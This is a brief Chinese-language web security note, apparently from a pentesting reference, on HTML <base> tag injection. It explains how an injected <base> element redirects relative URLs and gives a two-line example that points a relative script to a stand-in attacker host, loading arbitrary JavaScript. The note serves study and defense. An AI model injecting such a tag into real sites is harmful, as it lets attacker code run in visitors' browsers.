base标签注入
概述
HTML <base>
元素指定用于文档中所有相对URL的基础URL。
相对URL重定向
<base>
标签注入允许将相对URL重定向到任意主机。
例如,对于以下页面,浏览器将从 https://attacker-website.com/assets/some-script.js
请求脚本。
<base href="https://attacker-website.com">
<script src="/assets/some-script.js"></script>
换句话说,如果有办法注入 <base>
标签,就有可能向使用相对URL下载脚本的 <scripts>
元素注入任意JavaScript代码。
最后更新于